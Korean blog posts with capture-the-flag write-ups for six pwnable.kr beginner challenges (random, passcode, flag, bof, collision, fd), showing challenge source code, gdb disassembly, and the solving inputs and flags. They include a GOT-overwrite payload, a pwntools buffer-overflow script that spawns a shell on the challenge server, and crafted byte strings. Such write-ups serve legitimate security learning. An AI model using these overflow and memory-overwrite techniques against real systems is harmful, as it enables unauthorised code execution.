반응형
반응형
반응형

random - 1 pt

Daddy, teach me how to use random value in programming!


ssh random@pwnable.kr -p2222 (pw:guest)


접속을 하고, 소스를 확인해 봅시다.


random@ubuntu:~$ ls -l

total 20

-r--r----- 1 random_pwn root     49 Jun 30  2014 flag

-r-sr-x--- 1 random_pwn random 8538 Jun 30  2014 random

-rw-r--r-- 1 root       root    301 Jun 30  2014 random.c

random@ubuntu:~$ cat random.c

#include <stdio.h>


int main(){

unsigned int random;

random = rand(); // random value!


unsigned int key=0;

scanf("%d", &key);


if( (key ^ random) == 0xdeadbeef ){

printf("Good!\n");

system("/bin/cat flag");

return 0;

}


printf("Wrong, maybe you should try 2^32 cases.\n");

return 0;

}



4바이트의 랜덤값과 입력값을 xor연산을 해서 0xdeadbeef가 나오면 플래그를 주는 프로그램이네요.


어? 랜덤값이면 모든 경우의 수를 시도해 봐야 하는 거야? :3 라고 하실 수 있지만, rand()함수는 매번 바뀌는 시드값을 주지 않으면 항상 일정한 값을 반환하게 됩니다. 이 일정하게 나오는 값을 알아내면 답을 구할 수 있습니다.


gdb를 통해 값을 확인해 봅시다.


random@ubuntu:~$ gdb -q random

Reading symbols from random...(no debugging symbols found)...done.

(gdb) set disassembly-flavor intel

(gdb) disas main

(생략)

   0x000000000040062c <+56>: xor    eax,DWORD PTR [rbp-0x4]

   0x000000000040062f <+59>: cmp    eax,0xdeadbeef

(생략)


xor연산을 하고, 0xdeadbeef와 비교연산을 하게 되는 eax의 값을 확인해 보면 될 것 같습니다.


(gdb) b *main+59
Breakpoint 1 at 0x40062f
(gdb) r
Starting program: /home/random/random 
0

Breakpoint 1, 0x000000000040062f in main ()
(gdb) info register $eax
eax            0x6b8b4567 1804289383


브레이크 포인트를 걸고 돌려서 0을 넣은 결과 eax에 0x6b8b4567이 들어가 있는 것을 알 수 있습니다.
xor 0 은 해도 값이 같게 나오기 때문에 rand()의 값은 0x6b8b4567임을 알 수 있습니다.

따라서 우리가 넣어야 할 값은 0xdeadbeef ^ 0x6b8b4567을 통해서 구할 수 있습니다.

0xB526FB88 이라는 값이 나옵니다. 값을 정수형으로 받으므로 정수형으로 변환해줍니다.

3039230856



random@ubuntu:~$ ./random 

3039230856

Good!

Mommy, I thought libc random is unpredictable...



FLAG : Mommy, I thought libc random is unpredictable...

반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [leg] 풀이  (0) 2018.03.07
pwnable.kr [input] 풀이  (0) 2018.03.06
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
반응형

passcode - 10 pt 

Mommy told me to make a passcode based login system.

My initial C code was compiled without any error!

Well, there was some compiler warning, but who cares about that?


ssh passcode@pwnable.kr -p2222 (pw:guest)


ssh passcode@pwnable.kr -p2222 (pw:guest) 으로 접속합니다.



passcode@ubuntu:~$ ls -l

total 16

-r--r----- 1 root passcode_pwn   48 Jun 26  2014 flag

-r-xr-sr-x 1 root passcode_pwn 7485 Jun 26  2014 passcode

-rw-r--r-- 1 root root          858 Jun 26  2014 passcode.c

passcode@ubuntu:~$ cat passcode.c

#include <stdio.h>

#include <stdlib.h>


void login(){

int passcode1;

int passcode2;


printf("enter passcode1 : ");

scanf("%d", passcode1);

fflush(stdin);


// ha! mommy told me that 32bit is vulnerable to bruteforcing :)

printf("enter passcode2 : ");

        scanf("%d", passcode2);


printf("checking...\n");

if(passcode1==338150 && passcode2==13371337){

                printf("Login OK!\n");

                system("/bin/cat flag");

        }

        else{

                printf("Login Failed!\n");

exit(0);

        }

}


void welcome(){

char name[100];

printf("enter you name : ");

scanf("%100s", name);

printf("Welcome %s!\n", name);

}


int main(){

printf("Toddler's Secure Login System 1.0 beta.\n");


welcome();

login();


// something after login...

printf("Now I can safely trust you that you have credential :)\n");

return 0;

}



login()함수를 보시면 입력을 받는 부분이 존재하는데요.


scanf("%d", passcode1);

scanf("%d", passcode2);


이 둘은 입력값을 passcode1에 저장을 하는 것이 아니라, passcode1를 주소로 한 곳에 저장을 하게 됩니다.

예를 들어 passcode1=0x12345678 이라면 0x12345678주소에 우리가 입력한 값을 저장하게 되는 것이죠.


두 변수 모두 초기화되지 않았기 때문에 더미값이 들어가 있을 것이고, 그 더미값을 주소로 하는 곳에 입력값을 저장하게 되니,

오류가 나게 됩니다.



일단 gdb로 분석을 해봅시다.


   0x0804862f <+38>: lea    edx,[ebp-0x70]

   0x08048632 <+41>: mov    DWORD PTR [esp+0x4],edx

   0x08048636 <+45>: mov    DWORD PTR [esp],eax

   0x08048639 <+48>: call   0x80484a0 <__isoc99_scanf@plt>


welcome함수를 보면 ebp-0x70에 입력값을 저장합니다.

그리고 login 함수를 보면 


   0x0804857c <+24>: mov    edx,DWORD PTR [ebp-0x10]

   0x0804857f <+27>: mov    DWORD PTR [esp+0x4],edx

   0x08048583 <+31>: mov    DWORD PTR [esp],eax

   0x08048586 <+34>: call   0x80484a0 <__isoc99_scanf@plt>


ebp-0x10이 passcode1가 위치한 곳을 알 수 있습니다.


welcome()에서 입력을 100바이트를 받는데, [ebp-0x70] - [ebp-0x10] = 0x60 = 96바이트 이므로

passcode1의 값을 조작할 수 있습니다!


그러면 passcode1의 값을 주소로 하는 곳에 원하는 값을 넣을 수 있으므로, 원하는 주소에 원하는 값을 넣을 수 있습니다.


그 다음 fflush()의 got주소를 login()의 system()부분으로 바꾸면 된다.


그럼 fflush()의 got주소와 login()의 system()부분의 주소를 구하자.



   0x08048593 <+47>: call   0x8048430 <fflush@plt>

-----

(gdb) x/i 0x8048430

   0x8048430 <fflush@plt>: jmp    DWORD PTR ds:0x804a004

(gdb) x/i 0x804a004

   0x804a004 <fflush@got.plt>: test   BYTE PTR ss:[eax+ecx*1],al


fflush의 got 주소는 0x0804a004이다.



   0x080485de <+122>: call   0x8048450 <puts@plt>

   0x080485e3 <+127>: mov    DWORD PTR [esp],0x80487af

   0x080485ea <+134>: call   0x8048460 <system@plt>


system함수의 시작부분을 보면 0x080485e3임을 알 수 있다.


그럼 페이로드를 구성해보면


dummy[96]+fflush()의 got[4]


system()[4] 가 된다.


여기서 system()[4]는 scanf()가 정수형으로 받기 때문에 정수형으로 바꿔서 보내주어야 한다.

0x80485e3 = 134514147


(python -c 'print "D"*96 + "\x04\xa0\x04\x08"'; cat) | ./passcode



passcode@ubuntu:~$ (python -c 'print "D"*96 + "\x04\xa0\x04\x08"'; cat) | ./passcode

Toddler's Secure Login System 1.0 beta.

enter you name : Welcome DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD�!

134514147

Sorry mom.. I got confused about scanf usage :(

enter passcode1 : Now I can safely trust you that you have credential :)



FLAG : Sorry mom.. I got confused about scanf usage :(





반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [input] 풀이  (0) 2018.03.06
pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
pwnable.kr [collision] 풀이  (0) 2018.02.25
반응형

flag - 7 pt [writeup] 

Papa brought me a packed present! let's open it.


Download : http://pwnable.kr/bin/flag


This is reversing task. all you need is binary



리버싱 문제입니다.




exeinfope.exe 로 확인해 보면 upx로 패킹이 되어있다고 하네요.



분석을 위해서 언패킹을 진행합니다.


>>>>./upx -d ./flag

                       Ultimate Packer for eXecutables

                          Copyright (C) 1996 - 2017

UPX 3.94w       Markus Oberhumer, Laszlo Molnar & John Reiser   May 12th 2017


        File size         Ratio      Format      Name

   --------------------   ------   -----------   -----------

    883745 <-    335288   37.94%   linux/amd64   flag


Unpacked 1 file.



IDA로 깝니다.




strings들을 확인해보니 바로 플래그가 보이네요.




FLAG : UPX...? sounds like a delivery service :)

반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
pwnable.kr [collision] 풀이  (0) 2018.02.25
pwnable.kr [fd] 풀이  (0) 2018.02.25
반응형

bof - 5 pt [writeup] 

Nana told me that buffer overflow is one of the most common software vulnerability. 

Is that true?


Download : http://pwnable.kr/bin/bof

Download : http://pwnable.kr/bin/bof.c


Running at : nc pwnable.kr 9000



두개 모두 다운로드를 합시다.



bof.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}



func()에서 key = 0xdeadbeef를 key = 0xcafebabe 로 바꿔주면 쉘을 띄워주네요.


gets함수를 통해서 입력을 받는데, 입력값의 길이를 제한하지 않으므로 overflowme[32] 32바이트를 넘겨서 key값을 덮어 쓸 수 있습니다.


그럼 key[4] 와 overflowme[32] 사이의 거리를 구해야 합니다.

다운받은 바이너리를 gdb로 분석하겠습니다.



mandu@mandu-VirtualBox:~/Downloads$ gdb -q bof

Reading symbols from bof...(no debugging symbols found)...done.

(gdb) set disassembly-flavor intel

(gdb) disas func

Dump of assembler code for function func:

   0x0000062c <+0>: push   ebp

   0x0000062d <+1>: mov    ebp,esp

   0x0000062f <+3>:   sub    esp,0x48

   0x00000632 <+6>: mov    eax,gs:0x14

   0x00000638 <+12>: mov    DWORD PTR [ebp-0xc],eax

   0x0000063b <+15>: xor    eax,eax

   0x0000063d <+17>: mov    DWORD PTR [esp],0x78c

   0x00000644 <+24>: call   0x645 <func+25>

   0x00000649 <+29>: lea    eax,[ebp-0x2c]

   0x0000064c <+32>: mov    DWORD PTR [esp],eax

   0x0000064f <+35>: call   0x650 <func+36>

   0x00000654 <+40>: cmp    DWORD PTR [ebp+0x8],0xcafebabe

   0x0000065b <+47>: jne    0x66b <func+63>

   0x0000065d <+49>: mov    DWORD PTR [esp],0x79b

   0x00000664 <+56>: call   0x665 <func+57>

   0x00000669 <+61>: jmp    0x677 <func+75>

   0x0000066b <+63>: mov    DWORD PTR [esp],0x7a3

   0x00000672 <+70>: call   0x673 <func+71>

   0x00000677 <+75>: mov    eax,DWORD PTR [ebp-0xc]

   0x0000067a <+78>: xor    eax,DWORD PTR gs:0x14

   0x00000681 <+85>: je     0x688 <func+92>

   0x00000683 <+87>: call   0x684 <func+88>

   0x00000688 <+92>: leave  

   0x00000689 <+93>: ret    

End of assembler dump.



   0x00000654 <+40>: cmp    DWORD PTR [ebp+0x8],0xcafebabe


key는 [ebp+0x8]에 있습니다.


심볼이 다 날라가서 함수명을 알 수는 없지만, 소스를 보았을 때 첫번째 call은 printf이고 두번째 call은 gets임을 알 수 있습니다.


따라서 overflowme[32]의 위치는 


   0x00000649 <+29>: lea    eax,[ebp-0x2c]

   0x0000064c <+32>: mov    DWORD PTR [esp],eax

   0x0000064f <+35>: call   0x650 <func+36>


[ebp-0x2c] 일 것입니다.


스택구조를 나타내보면, 


낮은주소

overflowme[32]

dummy[12]

ebp+ret[8]

key[4]

높은주소


이렇게 됩니다. 그럼 페이로드는 dummy[52] + key[4](0xcafebabe) 가 되겠네요.



1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
 
= remote("pwnable.kr"9000)
 
payload = "D"*52 + "\xbe\xba\xfe\xca"
 
r.sendline( payload )
r.sendline('ls')
print(r.recv())
r.sendline('cat flag')
print(r.recv())
r.close()
cs



mandu@mandu-VirtualBox:~/project/pwnkr$ python bof.py 

[+] Opening connection to pwnable.kr on port 9000: Done

bof

bof.c

flag

log

log2

super.pl


daddy, I just pwned a buFFer :)


[*] Closed connection to pwnable.kr port 9000



FLAG : daddy, I just pwned a buFFer :)


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [collision] 풀이  (0) 2018.02.25
pwnable.kr [fd] 풀이  (0) 2018.02.25
반응형



ssh col@pwnable.kr -p2222 (pw:guest) 으로 접속합니다.



col@ubuntu:~$ ls -l

total 16

-r-sr-x--- 1 col_pwn col     7341 Jun 11  2014 col

-rw-r--r-- 1 root    root     555 Jun 12  2014 col.c

-r--r----- 1 col_pwn col_pwn   52 Jun 11  2014 flag


col.c를 보겠습니다.



col@ubuntu:~$ cat col.c

#include <stdio.h>

#include <string.h>

unsigned long hashcode = 0x21DD09EC;

unsigned long check_password(const char* p){

int* ip = (int*)p;

int i;

int res=0;

for(i=0; i<5; i++){

res += ip[i];

}

return res;

}


int main(int argc, char* argv[]){

if(argc<2){

printf("usage : %s [passcode]\n", argv[0]);

return 0;

}

if(strlen(argv[1]) != 20){

printf("passcode length should be 20 bytes\n");

return 0;

}


if(hashcode == check_password( argv[1] )){

system("/bin/cat flag");

return 0;

}

else

printf("wrong passcode.\n");

return 0;

}



먼저 main함수를 보면, argv[1]의 길이가 20바이트이어야 함을 알 수 있습니다.


hashcode == check_password( argv[1] ) 이면 flag를 얻을 수 있네요.



check_password()가 하는 일을 봅시다.


20바이트 입력값을  4바이트씩 쪼개서 5개를 모두 더합니다.

만약 입력값이 \x11112222333344445555 이라면 \x1111+\x2222+\x3333+\x4444+\x5555 = res 가 되는겁니다.


res의 값이 0x21DD09EC 이 되어야 하므로
0x01010101 4개에 나머지 필요한값 하나 (= 0x21DD09EC - 0x01010101*4 = 1DD905E8) 로 하겠습니다.

./col `python -c 'print "\x01\x01\x01\x01"*4+"\xE8\x05\xD9\x1D"'`



col@ubuntu:~$ ./col `python -c 'print "\x01\x01\x01\x01"*4+"\xE8\x05\xD9\x1D"'`

daddy! I just managed to create a hash collision :)


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
pwnable.kr [fd] 풀이  (0) 2018.02.25
반응형




ssh fd@pwnable.kr -p2222 (pw:guest) 이 곳으로 원격접속을 합니다.


어떤 파일이 있나 확인해 보겠습니다.


fd@ubuntu:~$ ls -l

total 16

-r-sr-x--- 1 fd_pwn fd   7322 Jun 11  2014 fd

-rw-r--r-- 1 root   root  418 Jun 11  2014 fd.c

-r--r----- 1 fd_pwn root   50 Jun 11  2014 flag


fd, fd.c, flag 파일이 있네요.


fd@ubuntu:~$ cat flag

cat: flag: Permission denied


flag 파일을 볼 수 있는 권한은 없습니다.


fd.c는 fd의 소스코드인것 같으니 확인해보겠습니다.



fd@ubuntu:~$ cat fd.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

char buf[32];

int main(int argc, char* argv[], char* envp[]){

if(argc<2){

printf("pass argv[1] a number\n");

return 0;

}

int fd = atoi( argv[1] ) - 0x1234;

int len = 0;

len = read(fd, buf, 32);

if(!strcmp("LETMEWIN\n", buf)){

printf("good job :)\n");

system("/bin/cat flag");

exit(0);

}

printf("learn about Linux file IO\n");

return 0;


}


buf의 값이 "LETMEWIN" 이면 flag파일을 읽어와주네요.

버퍼오버플로우 문제는 아니고, fd를 이용해 푸는 것 같습니다.

read 함수에서 첫번째 인자로 fd값을 받는데 이때 fd 값은 아래와 같습니다:

0 | stdin | 표준 입력
1 | stdout | 표준 출력
2 | stderr | 표준 에러


fd의 값은 argv[1] - 0x1234가 들어가게 되고, argv[1]은 우리가 입력한 값이니 조작이 가능합니다.

buf에 "LETMEWIN"를 넣어 주어야 하므로 fd의 값을 0으로 하게 해서 입력을 받도록 하고, LETMEWIN을 넣어주면 될 것 같습니다.


자, argv[1]값으로 0x1234를 넣어 fd값을 0으로 만들어 줍시다.


atoi함수는 문자열을 정수로 바꿔주는 역할을 하기 때문에 0x1234를 10진수로 나타낸 4660을 입력하겠습니다.



fd@ubuntu:~$ ./fd 4660

LETMEWIN

good job :)

mommy! I think I know what a file descriptor is!!



FLAG : mommy! I think I know what a file descriptor is!!


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
pwnable.kr [collision] 풀이  (0) 2018.02.25

+ Recent posts